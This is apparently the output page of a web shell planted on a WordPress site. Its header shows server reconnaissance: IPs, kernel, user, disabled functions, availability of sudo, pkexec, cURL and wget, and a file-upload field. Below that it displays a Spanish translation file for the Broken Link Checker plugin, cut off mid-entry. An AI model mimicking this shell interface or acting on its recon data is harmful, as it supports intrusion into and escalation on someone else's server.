| Server IP : 188.114.96.2 / Your IP : 104.23.243.201 Web Server : Apache/2.4.59 (Debian) System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 User : edlftp ( 1002) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/nicolasj/www/blog.ecoledelangues.be/wp-content/languages/plugins/ |
Upload File : |
# Translation of Plugins - Broken Link Checker - Stable (latest release) in Spanish (Spain) # This file is distributed under the same license as the Plugins - Broken Link Checker - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2019-03-22 12:26:10+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: GlotPress/2.4.0-alpha\n" "Language: es\n" "Project-Id-Version: Plugins - Broken Link Checker - Stable (latest release)\n" #. Author URI of the plugin msgid "https://managewp.com" msgstr "https://managewp.com" #. Author of the plugin msgid "ManageWP" msgstr "ManageWP" #: core/core.php:1431 msgid "Enter the keys of acf fields you want to check (one per line). If a field contains HTML code, prefix its name with <code>html:</code>. For example, <code>html:field_586a3eaa4091b</code>." msgstr "Introduce las claves en los campos acf que quieras comprobar (una por línea). Si un campo contiene código HTML, ponle el prefijo <code>html:</code>. Por ejemplo, <code>html:field_586a3eaa4091b</code>." #: core/core.php:111 msgid "Every 10 minutes" msgstr "Cada 10 minutos" #. Plugin URI of the plugin msgid "https://wordpress.org/plugins/broken-link-checker/" msgstr "https://es.wordpress.org/plugins/broken-link-checker/" #. Description of the plugin msgid "Checks your blog for broken links and missing images and notifies you on the dashboard if any are found." msgstr "Comprueba tu blog en busca de enlaces y imágenes ausentes y te informa en el escritorio de WordPress si alguno fue encontrado." #: modules/parsers/metadata.php:119 modules/parsers/acf_field.php:120 msgid "Custom field" msgstr "Campo personalizado" #: modules/parsers/image.php:186 msgid "Image" msgstr "Imagen" #: modules/extras/youtube.php:263 msgid "Unknown YouTube API response received." msgstr "Recibida una respuesta desconocida de la API de YouTube" #: modules/extras/youtube.php:214 msgid "Playlist OK" msgstr "Lista de reproducción correcta" #: modules/extras/youtube.php:205 msgid "Video Restricted" msgstr "Vídeo restringido" #: modules/extras/youtube.php:199 msgid "Video status : %s%s" msgstr "Estado del vídeo: %s%s" #: modules/extras/youtube.php:189 msgctxt "link status" msgid "Empty Playlist" msgstr "Lista de reproducción vacía" #: modules/extras/youtube.php:188 msgid "This playlist has no entries or all entries have been deleted." msgstr "Esta lista de reproducción no tiene elementos o se han borrado todos los elementos." #: modules/extras/youtube.php:181 msgid "Playlist Restricted" msgstr "Lista de reproducción restringida" #: modules/extras/youtube.php:171 modules/extras/youtube.php:174 msgid "Playlist Not Found" msgstr "Lista de reproducción no encontrada" #: modules/extras/youtube.php:149 modules/extras/youtube.php:152 msgid "Video Not Found" msgstr "Vídeo no encontrado" #: modules/extras/youtube.php:137 msgid "Video OK" msgstr "Video correcto" #: modules/extras/youtube-playlist-embed.php:25 msgid "Embedded YouTube playlist" msgstr "Lista de reproducción de YouTube incrustada" #: modules/extras/youtube-playlist-embed.php:24 msgid "YouTube Playlist" msgstr "Lista de reproducción de YouTube" #: modules/extras/youtube-iframe.php:26 modules/extras/youtube-embed.php:25 msgid "Embedded YouTube video" msgstr "Vídeo de YouTube incrustado" #: modules/extras/youtube-iframe.php:25 modules/extras/youtube-embed.php:24 msgid "YouTube Video" msgstr "Vídeo de YouTube" #: modules/extras/vimeo-embed.php:25 msgid "Embedded Vimeo video" msgstr "Vídeo de Vimeo incrustado" #: modules/extras/vimeo-embed.php:24 msgid "Vimeo Video" msgstr "Vídeo de Vimeo" #: modules/extras/rapidshare.php:189 msgid "RapidShare API error: %s" msgstr "Error de la API de RapidShare: %s" #: modules/extras/rapidshare.php:183 msgid "RapidShare : %s" msgstr "RapidShare : %s" #: modules/extras/rapidshare.php:172 msgid "File Locked" msgstr "Archivo bloqueado" #: modules/extras/rapidshare.php:165 msgid "File Blocked" msgstr "Archivo bloqueado" #: modules/extras/rapidshare.php:158 msgid "RS Server Down" msgstr "Servidor de RS caído" #: modules/extras/rapidshare.php:51 msgid "Using RapidShare API" msgstr "Usando la API de RapidShare" #: modules/extras/mediafire.php:109 msgid "Permission Denied" msgstr "Permiso denegado" #: modules/extras/rapidshare.php:139 modules/extras/mediafire.php:97 #: modules/extras/mediafire.php:103 msgid "Not Found" msgstr "No encontrado" #: modules/extras/googlevideo-embed.php:25 msgid "Embedded GoogleVideo video" msgstr "Vídeo de GoogleVideo incrustado" #: modules/extras/googlevideo-embed.php:24 msgid "GoogleVideo Video" msgstr "Vídeo de GoogleVideo" #: modules/extras/embed-parser-base.php:197 msgid "Embedded videos can't be edited using Broken Link Checker. Please edit or replace the video in question manually." msgstr "Los vídeos incrustados no pueden editarse usando Broken Link Checker. Por favor, edita o reemplaza el vídeo en cuestión manualmente." #: modules/extras/dailymotion-embed.php:24 msgid "Embedded DailyMotion video" msgstr "Vídeo de DailyMotion incrustado" #: modules/extras/dailymotion-embed.php:23 msgid "DailyMotion Video" msgstr "Vídeo de DailyMotion" #: modules/containers/dummy.php:34 modules/containers/dummy.php:45 msgid "I don't know how to edit a '%s' [%d]." msgstr "Desconozco como puedo editar '%s' [%d]." #: modules/containers/custom_field.php:250 modules/containers/acf_field.php:258 msgid "View \"%s\"" msgstr "Ver \"%s\"" #: modules/containers/custom_field.php:216 modules/containers/acf_field.php:234 msgid "Edit this post" msgstr "Modificar esta entrada" #: modules/containers/custom_field.php:115 modules/containers/acf_field.php:132 msgid "Failed to delete the meta field '%s' on %s [%d]" msgstr "Fallo para borrar el campo meta '%s' en %s [%d]" #: modules/containers/custom_field.php:85 modules/containers/acf_field.php:102 msgid "Failed to update the meta field '%s' on %s [%d]" msgstr "Fallo en la actualización del campo meta '%s' en %s [%d]" #: modules/containers/comment.php:383 msgid "%d comment moved to the Trash." msgid_plural "%d comments moved to the Trash." msgstr[0] "%d comentario movido a la papelera" msgstr[1] "%d comentarios movidos a la papelera" #: modules/containers/comment.php:364 msgid "%d comment has been deleted." msgid_plural "%d comments have been deleted." msgstr[0] "%d comentario borrado." msgstr[1] "%d comentarios borrados." #: modules/containers/comment.php:189 msgid "Comment" msgstr "Comentario" #: modules/containers/comment.php:172 msgid "View comment" msgstr "Ver comentario" #: modules/containers/comment.php:168 msgctxt "verb" msgid "Trash" msgstr "Basura" #: modules/containers/comment.php:168 msgid "Move this comment to the trash" msgstr "Mover este comentario a la basura" #: modules/containers/comment.php:166 msgid "Delete Permanently" msgstr "Borrado permanente" #: modules/containers/comment.php:159 modules/containers/comment.php:201 msgid "Edit comment" msgstr "Modificar comentario" #: modules/containers/comment.php:95 msgid "Can't move comment %d to the trash" msgstr "No se pudo mover el comentario %d a la papelera" #: modules/containers/comment.php:74 msgid "Failed to delete comment %d" msgstr "Fallo para eliminar el comentario %d" #: modules/containers/comment.php:53 msgid "Updating comment %d failed" msgstr "Actualizando comentario %d falló" #: modules/containers/blogroll.php:298 msgid "%d blogroll link deleted." msgid_plural "%d blogroll links deleted." msgstr[0] "%d enlace del blogroll borrado." msgstr[1] "%d enlaces del blogroll borrados." #: modules/containers/blogroll.php:128 msgid "Failed to delete blogroll link \"%s\" (%d)" msgstr "No se pudo eliminar el enlace blogroll \"%s\" (%d)" #: modules/containers/blogroll.php:97 msgid "Updating bookmark %d failed" msgstr "Actualizando marcador %d falló" #: modules/containers/blogroll.php:47 msgid "" "You are about to delete this link '%s'\n" " 'Cancel' to stop, 'OK' to delete." msgstr "" "Estás a punto de borrar este enlace '%s'\n" " 'Cancelar' para salir, 'Aceptar para borrarlo." #: modules/containers/blogroll.php:27 modules/containers/blogroll.php:46 msgid "Edit this bookmark" msgstr "Modificar este marcador" #: modules/containers/blogroll.php:21 msgid "Bookmark" msgstr "Marcador" #: modules/checkers/http.php:465 msgid "Using Snoopy" msgstr "Utilizando Snoopy" #: modules/checkers/http.php:447 msgid "Request timed out." msgstr "Tiempo de espera agotado." #: modules/checkers/http.php:376 msgid "Most likely the connection timed out or the domain doesn't exist." msgstr "Lo más probable es que el tiempo de espera se agotase o bien que el dominio no exista." #: modules/checkers/http.php:358 modules/checkers/http.php:440 msgid "(No response)" msgstr "(Sin respuesta)" #: modules/checkers/http.php:356 modules/checkers/http.php:438 msgid "HTTP code : %d" msgstr "Código HTTP : %d" #: modules/checkers/http.php:308 msgid "Connection Failed" msgstr "Fallo en la conexión" #: modules/checkers/http.php:292 msgid "Server Not Found" msgstr "Servidor no encontrado" #: includes/utility-class.php:263 msgid "%d month ago" msgid_plural "%d months ago" msgstr[0] "hace %d mes" msgstr[1] "hace %d meses" #: includes/utility-class.php:262 msgid "%d month" msgid_plural "%d months" msgstr[0] "%d mes" msgstr[1] "%d meses" #: includes/utility-class.php:259 msgid "%d day ago" msgid_plural "%d days ago" msgstr[0] "hace %d día" msgstr[1] "hace %d días" #: includes/utility-class.php:258 msgid "%d day" msgid_plural "%d days" msgstr[0] "%d dia" msgstr[1] "%d días" #: includes/utility-class.php:255 msgid "%d hour ago" msgid_plural "%d hours ago" msgstr[0] "hace %d hora" msgstr[1] "hace %d horas" #: includes/utility-class.php:254 msgid "%d hour" msgid_plural "%d hours" msgstr[0] "%d hora" msgstr[1] "%d horas" #: includes/utility-class.php:251 msgid "%d minute ago" msgid_plural "%d minutes ago" msgstr[0] "hace %d minuto" msgstr[1] "hace %d minutos" #: includes/utility-class.php:250 msgid "%d minute" msgid_plural "%d minutes" msgstr[0] "%d minuto" msgstr[1] "%d minutos" #: includes/utility-class.php:247 msgid "%d second ago" msgid_plural "%d seconds ago" msgstr[0] "hace %d segundo" msgstr[1] "hace %d segundos" #: includes/utility-class.php:246 msgid "%d second" msgid_plural "%d seconds" msgstr[0] "%d segundo" msgstr[1] "%d segundos" #: includes/parsers.php:132 msgid "Unlinking is not implemented in the '%s' parser" msgstr "La desvinculación no ha sido implementada en el '%s' analizador sintáctico" #: includes/parsers.php:117 msgid "Editing is not implemented in the '%s' parser" msgstr "La edición no ha sido implementada en el '%s' analizado sintáctico" #: modules/extras/rapidshare.php:145 modules/extras/rapidshare.php:151 #: modules/extras/rapidshare.php:178 modules/extras/youtube.php:138 #: modules/extras/youtube.php:215 includes/links.php:1052 msgctxt "link status" msgid "OK" msgstr "Aceptar" #: includes/links.php:1049 msgid "False positive" msgstr "Falso positivo" #: includes/links.php:1046 msgid "Not checked" msgstr "Sin seleccionar" #: modules/checkers/http.php:315 modules/extras/mediafire.php:115 #: modules/extras/youtube.php:132 modules/extras/youtube.php:229 #: includes/links.php:1022 msgid "Unknown Error" msgstr "Error desconocido" #: includes/links.php:1009 msgctxt "link status" msgid "Unknown" msgstr "Desconocido" #: includes/links.php:898 includes/links.php:935 msgid "Couldn't delete the link's database record" msgstr "No es posible eliminar el enlace del registo de la BD" #: includes/links.php:844 msgid "This link is not a redirect" msgstr "Este enlace no es una redirección" #: includes/links.php:778 msgid "Failed to create a DB entry for the new URL." msgstr "Fallo en la creación del registro en la BD para la nueva URL." #: includes/links.php:752 msgid "This link can not be edited because it is not used anywhere on this site." msgstr "Este enlace no puede ser editado, porque no se utiliza en ninguna otra parte de este sitio." #: includes/links.php:735 includes/links.php:837 includes/links.php:871 msgid "Link is not valid" msgstr "El enlace no es válido" #: includes/links.php:504 msgid "Link is valid." msgstr "El enlace es válido." #: includes/links.php:502 msgid "Link is broken." msgstr "El enlace está roto." #: includes/links.php:271 msgid "The plugin doesn't know how to check this type of link." msgstr "El plugin desconoce como comprobar este tipo de enlace." #: includes/links.php:224 msgid "The plugin script was terminated while trying to check the link." msgstr "El plugin script ha terminado mientras intentaba comprobar el enlace." #: includes/link-query.php:83 includes/link-query.php:130 msgid "No links found for your query" msgstr "No se han encontrado enlaces que correspondan con la consulta" #: includes/link-query.php:82 msgid "Search Results" msgstr "Resultados de búsqueda" #: includes/link-query.php:68 msgid "No dismissed links found" msgstr "No se han encontrado enlaces descartados" #: includes/link-query.php:67 msgid "Dismissed Links" msgstr "Enlaces descartados" #: includes/link-query.php:66 msgid "Dismissed" msgstr "Descartado" #: includes/link-query.php:58 msgid "No redirects found" msgstr "No se han encontrado redirecciones" #: includes/link-query.php:57 msgid "Redirected Links" msgstr "Enlaces Redireccionados" #: includes/link-query.php:56 msgid "Redirects" msgstr "Redirecciones" #: includes/link-query.php:48 msgid "No warnings found" msgstr "No hay ninguna advertencia" #: includes/link-query.php:47 msgid "Warnings" msgstr "Avisos" #: includes/link-query.php:46 msgctxt "filter name" msgid "Warnings" msgstr "Advertencias" #: includes/link-query.php:38 msgid "No broken links found" msgstr "No se han encontrado enlaces rotos" #: includes/link-query.php:36 msgid "Broken" msgstr "Roto(s)" #: includes/link-query.php:27 msgid "No links found (yet)" msgstr "No se han encontrado enlaces (aún)" #: includes/link-query.php:26 msgid "Detected Links" msgstr "Enlaces Detectados" #: includes/link-query.php:25 msgid "All" msgstr "Todos" #: includes/instances.php:114 includes/instances.php:170 msgid "Parser '%s' not found." msgstr "Analizador sintáctico '%s' no encontrado." #: includes/instances.php:105 includes/instances.php:161 msgid "Container %s[%d] not found" msgstr "Contenedor %s[%d] no encontrado" #: includes/extra-strings.php:20 msgctxt "module name" msgid "Pages" msgstr "Páginas" #: includes/extra-strings.php:19 msgctxt "module name" msgid "Posts" msgstr "Entradas" #: includes/extra-strings.php:18 msgctxt "module name" msgid "YouTube API" msgstr "API de YouTube" #: includes/extra-strings.php:17 msgctxt "module name" msgid "Smart YouTube httpv:// URLs" msgstr "URLs httpv:// de Smart YouTube" #: includes/extra-strings.php:16 msgctxt "module name" msgid "RapidShare API" msgstr "API de RapidShare" #: includes/extra-strings.php:15 msgctxt "module name" msgid "Plaintext URLs" msgstr "URLs en texto plano" #: includes/extra-strings.php:14 msgctxt "module name" msgid "MediaFire API" msgstr "API de MediaFire" #: includes/extra-strings.php:13 msgctxt "module name" msgid "HTML links" msgstr "Enlaces HTML" #: includes/extra-strings.php:12 msgctxt "module name" msgid "HTML images" msgstr "Imágenes HTML" #: includes/extra-strings.php:11 msgctxt "module name" msgid "Embedded YouTube videos (old embed code)" msgstr "Vídeos de YouTube incrustados (código de incrustación antiguo)" #: includes/extra-strings.php:10 msgctxt "module name" msgid "Embedded YouTube videos" msgstr "Vídeos de YouTube incrustados" #: includes/extra-strings.php:9 msgctxt "module name" msgid "Embedded YouTube playlists (old embed code)" msgstr "Listas de YouTube incrustadas (código de incrustación antiguo)" #: includes/extra-strings.php:8 msgctxt "module name" msgid "Embedded Vimeo videos" msgstr "Vídeos de Vimeo incrustados" #: includes/extra-strings.php:7 msgctxt "module name" msgid "Embedded GoogleVideo videos" msgstr "Vídeos de GoogleVideo incrustados" #: includes/extra-strings.php:6 msgctxt "module name" msgid "Embedded DailyMotion videos" msgstr "Vídeos de DailyMotion incrustados" #: includes/extra-strings.php:5 msgctxt "module name" msgid "Custom fields" msgstr "Campos personalizados" #: includes/extra-strings.php:4 msgctxt "module name" msgid "Comments" msgstr "Comentarios" #: includes/extra-strings.php:3 msgctxt "module name" msgid "Blogroll items" msgstr "Elementos del blogroll" #: includes/extra-strings.php:2 msgctxt "module name" msgid "Basic HTTP" msgstr "HTTP básico" #: includes/containers.php:888 includes/containers.php:906 msgid "Container type '%s' not recognized" msgstr "Contenedor tipo '%s' no ha sido reconocido" #: includes/containers.php:122 msgid "%d '%s' has been deleted" msgid_plural "%d '%s' have been deleted" msgstr[0] "%d '%s' ha sido borrado" msgstr[1] "%d '%s' han sido borrados" #: includes/any-post.php:799 msgid "%d \"%s\" moved to the Trash." msgid_plural "%d \"%s\" moved to the Trash." msgstr[0] "%d \"%s\" movido a la papelera." msgstr[1] "%d \"%s\" movidos a la papelera." #: includes/any-post.php:797 msgid "%d page moved to the Trash." msgid_plural "%d pages moved to the Trash." msgstr[0] "%d página trasladada a la papelera." msgstr[1] "%d páginas trasladadas a la papelera." #: includes/any-post.php:795 msgid "%d post moved to the Trash." msgid_plural "%d posts moved to the Trash." msgstr[0] "%d entrada movida a la papelera." msgstr[1] "%d entradas movidas a la papelera." #: includes/any-post.php:776 msgid "%d \"%s\" deleted." msgid_plural "%d \"%s\" deleted." msgstr[0] "%d \"%s\" borrada." msgstr[1] "%d \"%s\" borradas." #: includes/any-post.php:774 msgid "%d page deleted." msgid_plural "%d pages deleted." msgstr[0] "%d página borrada." msgstr[1] "%d páginas borradas." #: includes/any-post.php:772 msgid "%d post deleted." msgid_plural "%d posts deleted." msgstr[0] " %d entrada borrada." msgstr[1] "%d entradas borradas" #: modules/containers/custom_field.php:355 modules/containers/acf_field.php:353 #: includes/any-post.php:664 msgid "Failed to move post \"%s\" (%d) to the trash" msgstr "Error al trasladar la entrada \"%s\" (%d) a la papelera" #: modules/containers/custom_field.php:336 modules/containers/acf_field.php:341 #: includes/any-post.php:644 msgid "Can't move post \"%s\" (%d) to the trash because the trash feature is disabled" msgstr "No se ha podido trasladar \"%s\" (%d) a la papelera porque esa característica está inactiva" #: modules/containers/custom_field.php:317 modules/containers/acf_field.php:327 #: includes/any-post.php:625 msgid "Failed to delete post \"%s\" (%d)" msgstr "Error al borrar el mensaje \"%s\" (%d)" #: includes/any-post.php:588 msgid "Updating post %d failed" msgstr "Actualizando mensaje %d falló" #: modules/containers/blogroll.php:83 modules/containers/comment.php:43 #: includes/any-post.php:578 msgid "Nothing to update" msgstr "Nada que actualizar" #: modules/containers/custom_field.php:230 modules/containers/acf_field.php:248 #: includes/any-post.php:514 msgid "Edit this item" msgstr "Modificar este elemento" #: modules/containers/custom_field.php:250 modules/containers/comment.php:172 #: modules/containers/acf_field.php:258 includes/any-post.php:495 msgid "View" msgstr "Ver" #: includes/any-post.php:494 msgid "View “%s”" msgstr "Ver “%s”" #: includes/any-post.php:487 msgid "Preview" msgstr "Vista previa" #: includes/any-post.php:486 msgid "Preview “%s”" msgstr "Vista previa “%s”" #: modules/containers/blogroll.php:47 modules/containers/custom_field.php:245 #: modules/containers/acf_field.php:254 includes/any-post.php:473 msgid "Delete" msgstr "Borrar" #: modules/containers/custom_field.php:243 modules/containers/acf_field.php:254 #: includes/any-post.php:471 msgid "Delete this item permanently" msgstr "Borrar permanentemente este elemento" #: modules/containers/custom_field.php:238 modules/containers/acf_field.php:252 #: includes/any-post.php:466 msgid "Trash" msgstr "Basura" #: modules/containers/custom_field.php:236 modules/containers/acf_field.php:252 #: includes/any-post.php:464 msgid "Move this item to the Trash" msgstr "Mover este elemento a la papelera" #: modules/containers/blogroll.php:46 modules/containers/custom_field.php:230 #: modules/containers/comment.php:159 modules/containers/acf_field.php:248 #: includes/any-post.php:456 msgid "Edit" msgstr "Modificar" #: includes/admin/table-printer.php:892 msgid "Use this URL" msgstr "Usar esta URL" #: includes/admin/table-printer.php:872 msgctxt "inline link editor" msgid "Suggestions" msgstr "Sugerencias" #: includes/admin/table-printer.php:867 msgctxt "inline link editor" msgid "URL" msgstr "URL" #: includes/admin/table-printer.php:862 msgctxt "inline link editor" msgid "Text" msgstr "Texto" #: includes/admin/table-printer.php:859 msgctxt "inline editor title" msgid "Edit Link" msgstr "Modificar enlace" #: includes/admin/table-printer.php:782 msgid "[An orphaned link! This is a bug.]" msgstr "[¡Un enlace huérfano! Esto es un fallo.]" #: includes/admin/table-printer.php:755 msgid "Update URL" msgstr "Actualizar URL" #: includes/admin/table-printer.php:721 msgid "Replace this redirect with a direct link" msgstr "Reemplazar esta redirección con un enlace directo" #: includes/admin/table-printer.php:708 msgid "Undismiss" msgstr "No descartar" #: includes/admin/table-printer.php:707 msgid "Undismiss this link" msgstr "No descartar este enlace" #: includes/admin/table-printer.php:701 msgid "Hide this link and do not report it again unless its status changes" msgstr "Ocultar este enlace y no informar de nuevo a menos que cambie su estado" #: includes/admin/table-printer.php:693 msgid "Remove this link from the list of broken links and mark it as valid" msgstr "Eliminar este enlace de la lista de enlaces rotos y marcarlo como válido" #: includes/admin/table-printer.php:687 msgid "Remove this link from all posts" msgstr "Eliminar este enlace de todas las entradas" #: includes/admin/table-printer.php:685 msgid "Edit this link" msgstr "Modificar este enlace" #: includes/admin/table-printer.php:664 msgctxt "link in the \"Status\" column" msgid "Details" msgstr "Detalles" #: includes/admin/table-printer.php:652 msgid "Broken for" msgstr "Roto en" #: includes/admin/table-printer.php:636 msgctxt "checked how long ago" msgid "Checked" msgstr "Comprobado" #: includes/admin/table-printer.php:618 includes/admin/table-printer.php:663 msgid "Show more info about this link" msgstr "Mostrar más información sobre este enlace" #: includes/admin/table-printer.php:593 msgid "Log" msgstr "Registro" #: includes/admin/table-printer.php:582 msgid "This link has been broken for %s." msgstr "El enlace ha sido roto por %s." #: includes/admin/table-printer.php:574 msgid "This link has failed %d time." msgid_plural "This link has failed %d times." msgstr[0] "Este enlace ha fallado %d vez." msgstr[1] "Este enlace ha fallado %d veces." #: includes/admin/table-printer.php:565 msgid "Instance count" msgstr "Recuento de casos" #: includes/admin/table-printer.php:560 msgid "Redirect count" msgstr "Recuento de redirecciones" #: includes/admin/table-printer.php:555 msgid "Final URL" msgstr "URL final" #: includes/admin/table-printer.php:552 msgid "%2.3f seconds" msgstr "%2.3f segundos" #: includes/admin/table-printer.php:550 msgid "Response time" msgstr "Tiempo de respuesta" #: includes/admin/table-printer.php:535 msgid "Never" msgstr "Nunca" #: includes/admin/table-printer.php:531 msgid "Link last checked" msgstr "Última comprobación" #: includes/admin/table-printer.php:526 msgid "Post published on" msgstr "Entrada publicada el" #: includes/admin/table-printer.php:371 includes/admin/table-printer.php:880 msgid "Update" msgstr "Actualizar" #: includes/admin/table-printer.php:363 msgid "Regular expression" msgstr "Expresión regular" #: includes/admin/table-printer.php:359 msgid "Case sensitive" msgstr "Distinguir may/min" #: includes/admin/table-printer.php:351 msgid "Replace with" msgstr "Reemplazar con" #: includes/admin/table-printer.php:347 msgid "Find" msgstr "Encontrar" #: includes/admin/table-printer.php:345 msgid "Bulk Edit URLs" msgstr "Modificar URLs en masa" #: includes/admin/table-printer.php:322 msgid "Displaying %s–%s of <span class=\"current-link-count\">%s</span>" msgstr "Mostrando %s–%s de <span class=\"current-link-count\">%s</span>" #: includes/admin/table-printer.php:314 msgid "»" msgstr "»" #: includes/admin/table-printer.php:313 msgid "«" msgstr "«" #: includes/admin/table-printer.php:298 msgid "Delete sources" msgstr "Borrar fuentes" #: includes/admin/table-printer.php:296 msgid "Move sources to Trash" msgstr "Mover recursos a la papelera" #: includes/admin/table-printer.php:291 msgid "Mark as not broken" msgstr "Marcar como no roto" #: includes/admin/table-printer.php:290 msgid "Fix redirects" msgstr "Solucionar las redirecciones" #: includes/admin/table-printer.php:287 msgid "Bulk Actions" msgstr "Procedimiento por lotes" #: includes/admin/table-printer.php:236 msgid "Redirect URL" msgstr "Redireccionar URL" #: includes/admin/table-printer.php:229 msgid "Link Text" msgstr "Texto del Enlace" #: includes/admin/table-printer.php:223 msgid "Source" msgstr "Fuente" #: includes/admin/table-printer.php:193 msgid "Detailed View" msgstr "Vista detallada" #: includes/admin/table-printer.php:188 msgid "Compact View" msgstr "Vista compacta" #: includes/admin/search-form.php:113 includes/admin/table-printer.php:369 #: includes/admin/table-printer.php:754 includes/admin/table-printer.php:879 msgid "Cancel" msgstr "Cancelar" #: includes/admin/search-form.php:112 msgid "Search Links" msgstr "Buscar enlaces" #: includes/admin/search-form.php:74 msgid "Links used in" msgstr "Enlaces usados en" #: includes/admin/search-form.php:70 msgid "Any" msgstr "Cualquiera" #: includes/admin/search-form.php:68 includes/admin/search-form.php:85 msgid "Link type" msgstr "Tipo de Enlace" #: includes/admin/search-form.php:51 msgid "Link status" msgstr "Estado del Enlace" #: includes/admin/search-form.php:48 includes/admin/table-printer.php:545 msgid "HTTP code" msgstr "Código HTTP" #: includes/admin/search-form.php:45 includes/admin/table-printer.php:216 msgid "URL" msgstr "URL" #: includes/admin/search-form.php:42 msgid "Link text" msgstr "Texto del Enlace" #: includes/link-query.php:81 includes/admin/search-form.php:32 msgid "Search" msgstr "Buscar" #: includes/admin/search-form.php:26 msgid "Delete This Filter" msgstr "Borrar este Filtro" #: includes/admin/search-form.php:16 msgid "Save This Search As a Filter" msgstr "Guardar esta búsqueda como un Filtro" #: includes/admin/options-page-js.php:54 msgid "Hide debug info" msgstr "Ocultar información de depuración" #: includes/admin/links-page-js.php:938 msgid "Select one or more links to edit." msgstr "Elige uno o más enlaces a modificar." #: includes/admin/links-page-js.php:931 msgid "Enter a search string first." msgstr "Introduce primero una cadena de búsqueda." #: includes/admin/links-page-js.php:801 msgid "" "Are you sure you want to remove the selected links? This action can't be undone.\n" "'Cancel' to stop, 'OK' to remove" msgstr "" "¿Estás seguro de querer borrar los enlaces seleccionados? Esta acción es irreversible.\n" "'Cancelar' para parar, 'Aceptar' para borrar" #: includes/admin/links-page-js.php:787 msgid "" "Are you sure you want to delete all posts, bookmarks or other items that contain any of the selected links? This action can't be undone.\n" "'Cancel' to stop, 'OK' to delete" msgstr "" "¿Está seguro que desea eliminar todos los mensajes, marcadores u otros artículos que contengan cualquiera de los vínculos seleccionados? Esta acción no podrá deshacerse.\n" "'Cancelar' para detener la operación, 'Aceptar' para borrar" #: includes/admin/links-page-js.php:763 msgid "" "You are about to delete the current filter.\n" "'Cancel' to stop, 'OK' to delete" msgstr "" "Estás a punto de borrar el filtro actual.\n" " 'Cancelar' para salir, 'Aceptar' para borrarlo." #: includes/admin/links-page-js.php:751 msgid "Enter a name for the new custom filter" msgstr "Introduce un nombre para el nuevo filtro" #: includes/admin/links-page-js.php:705 msgid "The following error(s) occured :" msgstr "Se ha producido el siguiente error(s) :" #: includes/admin/links-page-js.php:702 msgid "The plugin failed to remove the link." msgstr "El plugin no ha podido eliminar el enlace." #: includes/admin/links-page-js.php:697 msgid "However, %d instances couldn't be removed." msgstr "A pesar de todo, %d casos no han podido ser eliminados." #: includes/admin/links-page-js.php:691 msgid "%d instances of the link were successfully unlinked." msgstr "%d casos de los enlaces fueron satisfactoriamente desconectados." #: includes/admin/links-page-js.php:615 msgid "Error: Link URL must not be empty." msgstr "Error. La URL del enlace no debe estar vacía." #: includes/admin/links-page-js.php:543 msgid "The following error(s) occurred :" msgstr "Ocurrieron los siguientes errores:" #: includes/admin/links-page-js.php:540 msgid "The link could not be modified." msgstr "El enlace no ha podido ser modificado." #: includes/admin/links-page-js.php:534 msgid "However, %d instances couldn't be edited and still point to the old URL." msgstr "A pesar de todo, %d casos no pudieron ser editados y aún apuntan hacia la vieja URL." #: includes/admin/links-page-js.php:528 msgid "%d instances of the link were successfully modified." msgstr "%d casos del enlace se modificaron satisfactoriamente." #: includes/admin/links-page-js.php:431 msgctxt "link suggestions" msgid "Archived page from %s (via the Wayback Machine)" msgstr "Página archivada desde %s (a través de la Wayback Machine)" #: includes/admin/links-page-js.php:430 msgctxt "link suggestions" msgid "No suggestions available." msgstr "Ninguna sugerencia disponible." #: includes/admin/links-page-js.php:429 msgctxt "link suggestions" msgid "Searching..." msgstr "Buscando…" #: includes/admin/links-page-js.php:371 msgctxt "link text" msgid "(Multiple links)" msgstr "(Varios enlaces)" #: includes/admin/links-page-js.php:370 msgctxt "link text" msgid "(None)" msgstr "(Ninguno)" #: includes/admin/links-page-js.php:64 includes/admin/links-page-js.php:653 msgid "Wait..." msgstr "Espere ..." #: includes/admin/db-upgrade.php:97 msgid "Failed to delete old DB tables. Database error : %s" msgstr "Fallo en el borrado de las tablas de la BD. Error de la base de datos : %s" #: core/init.php:342 msgid "Please activate the plugin separately on each site. Network activation is not supported." msgstr "Por favor, activa el plugin por separado en cada sitio. No es compatible con la activación en red." #: core/init.php:338 msgid "Broken Link Checker installation failed. Try deactivating and then reactivating the plugin." msgstr "La instalación de Broken Link Checker ha fallado. Trata de desactivarlo y vuelve a activar el plugin." #: core/init.php:262 msgid "Twice a Month" msgstr "Dos veces al mes" #: core/init.php:256 msgid "Once Weekly" msgstr "Una vez a la semana" #: core/core.php:3756 msgid "Broken Link Checker has detected %d new broken link in your posts." msgid_plural "Broken Link Checker has detected %d new broken links in your posts." msgstr[0] "Broken Link Checker ha detectado %d nuevo enlace roto en tus entradas." msgstr[1] "Broken Link Checker ha detectado %d nuevos enlaces rotos en tus entradas." #: core/core.php:3702 msgid "You can see all broken links here:" msgstr "Usted puede ver todos los enlaces rotos aquí:" #: core/core.php:3688 msgid "Source : %s" msgstr "Fuente : %s" #: core/core.php:3687 msgid "Link URL : <a href=\"%s\">%s</a>" msgstr "Enlace URL : <a href=\"%s\">%s</a>" #: core/core.php:3686 msgid "Link text : %s" msgstr "Texto del Enlace : %s" #: core/core.php:3677 msgid "Here's a list of the new broken links: " msgstr "Aquí dispone de la lista de nuevos enlaces rotos:" #: core/core.php:3668 msgid "Here's a list of the first %d broken links:" msgid_plural "Here's a list of the first %d broken links:" msgstr[0] "Aquí dispone de lista del primer %d enlace roto:" msgstr[1] "Aquí dispone de lista de los primeros %d enlaces rotos:" #: core/core.php:3637 msgid "Broken Link Checker has detected %d new broken link on your site." msgid_plural "Broken Link Checker has detected %d new broken links on your site." msgstr[0] "Broken Link Checker ha detectado %d 